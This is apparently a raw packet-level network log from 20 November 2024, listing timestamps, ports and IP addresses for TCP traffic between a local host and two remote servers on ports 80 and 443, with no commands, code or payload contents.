Nov 20, 2024 17:41:48.907133102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.907165051 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.907183886 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.907932997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.908011913 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.908027887 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.908077955 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.908814907 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.908907890 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.908931017 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.908958912 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.908978939 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.909693956 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.909751892 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.909769058 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.909805059 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.910656929 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.910671949 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.910687923 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.910725117 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.910751104 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.911434889 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.911495924 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.911511898 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.911546946 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.912322998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.912373066 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.912394047 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.912424088 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.912448883 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.913165092 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.913218021 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.913233042 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.913280010 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.914071083 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.914146900 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.914161921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.914190054 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.914201021 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:48.914881945 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:48.970009089 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:49.203464985 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.205869913 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.205894947 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.206393957 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.206398964 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.322423935 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.323645115 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.323677063 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.324131012 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.324136019 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.404330015 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.405359030 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.405392885 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.405843973 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.405849934 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.548923969 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.549604893 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.549628973 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.550088882 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.550093889 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.607299089 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.611712933 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.611757040 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.612230062 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.612237930 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.656850100 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.656927109 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.657008886 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.667289972 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.667331934 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.667351961 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.667359114 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.671850920 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.671900988 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.671968937 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.672756910 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.672771931 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.775180101 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.775259972 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.775326014 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.775564909 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.775588036 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.775599957 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.775604963 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.779088974 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.779124022 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.779184103 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.779412985 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.779428959 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.840111971 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.840169907 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.840279102 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.840522051 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.840544939 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.840557098 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.840563059 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.843569040 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.843591928 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:49.843681097 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.843817949 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:49.843831062 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.060296059 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.060384989 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.060527086 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.068290949 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.068312883 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.068326950 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.068334103 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.071615934 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.071659088 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.071755886 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.071891069 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.071899891 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.101212025 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.101289988 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.101394892 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.103976011 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.103990078 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.103998899 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.104003906 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.106931925 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.106988907 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:50.107074976 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.107228041 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:50.107240915 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.515628099 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.516381025 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.516402960 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.516995907 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.517000914 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.733722925 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.734323025 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.734360933 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.734900951 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.734909058 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.755917072 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.756700993 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.756745100 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.757679939 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.757694960 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.903281927 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.903876066 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.903892040 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.904481888 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.904486895 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.927172899 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.927825928 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.927855968 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.928224087 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.928230047 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.982708931 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.982790947 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.982906103 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.983129025 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.983138084 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.983150959 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.983155966 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.986192942 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.986217022 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:51.986313105 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.986471891 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:51.986479998 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.181771040 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.181874037 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.181936026 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.182229996 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.182229996 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.182255030 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.182265043 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.185046911 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.185074091 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.185158968 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.185329914 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.185340881 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.210032940 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.210197926 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.210390091 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.210391045 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.210391045 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.212255001 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.212291956 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.212371111 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.212488890 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.212503910 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.356753111 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.356820107 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.356935978 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.357176065 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.357196093 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.357204914 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.357208967 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.359957933 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.359982014 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.360053062 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.360202074 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.360215902 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.381252050 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.381412029 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.381486893 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.381513119 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.381513119 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.381525993 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.381535053 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.383404970 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.383501053 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.383584976 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.383816957 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.383857012 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:52.517002106 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:52.517077923 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:53.711926937 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:53.766891003 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:53.778527021 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:53.778544903 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:53.779195070 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:53.779206991 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:53.976047039 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.006324053 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.016877890 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.048343897 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.049899101 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.049913883 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.050457954 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.050467968 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.060448885 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.060463905 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.060952902 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.060964108 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.144372940 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.156008005 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.156192064 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.156248093 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.188772917 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.216499090 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.216516018 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.217302084 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.217308998 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.218170881 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.218209028 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.218235016 CET	49779	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.218247890 CET	443	49779	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.271301985 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.313755989 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.420769930 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.420876026 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.420919895 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.436822891 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.436858892 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.437364101 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.437371016 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.450150013 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.450336933 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.450387001 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.450695038 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.450711012 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.450725079 CET	49781	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.450731039 CET	443	49781	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.459988117 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.459988117 CET	49780	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.460014105 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.460024118 CET	443	49780	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.467643023 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.467677116 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.467741013 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.482419014 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.482486963 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.482553005 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.483985901 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.484003067 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.491877079 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.491893053 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.618506908 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.618570089 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.618616104 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.630678892 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.630698919 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.630759954 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.647934914 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.647958994 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.647972107 CET	49782	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.647977114 CET	443	49782	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.651948929 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.652034044 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.652101994 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.666379929 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.666393042 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.669118881 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.669164896 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.757051945 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.757129908 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.757195950 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.788882971 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.788882971 CET	49783	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.788955927 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.788984060 CET	443	49783	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.810558081 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.810570002 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:54.810627937 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.811461926 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:54.811474085 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.306674004 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.357863903 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.439418077 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.439454079 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.440026045 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.440043926 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.691798925 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.692348003 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.692375898 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.693118095 CET	49787	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.693128109 CET	443	49787	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.709589958 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.710098028 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.710118055 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.710644007 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.710649014 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.711718082 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.712119102 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.712130070 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.712501049 CET	49786	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.712505102 CET	443	49786	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.732712984 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.733160973 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.733195066 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.733700991 CET	49784	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.733714104 CET	443	49784	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.771059036 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.771286011 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.771348953 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.775984049 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.776014090 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.776027918 CET	49785	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.776036024 CET	443	49785	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.779550076 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.779582977 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:56.779700041 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.779872894 CET	49797	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:56.779885054 CET	443	49797	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:57.132628918 CET	443	49787	13.107.246.63	192.168.2.7
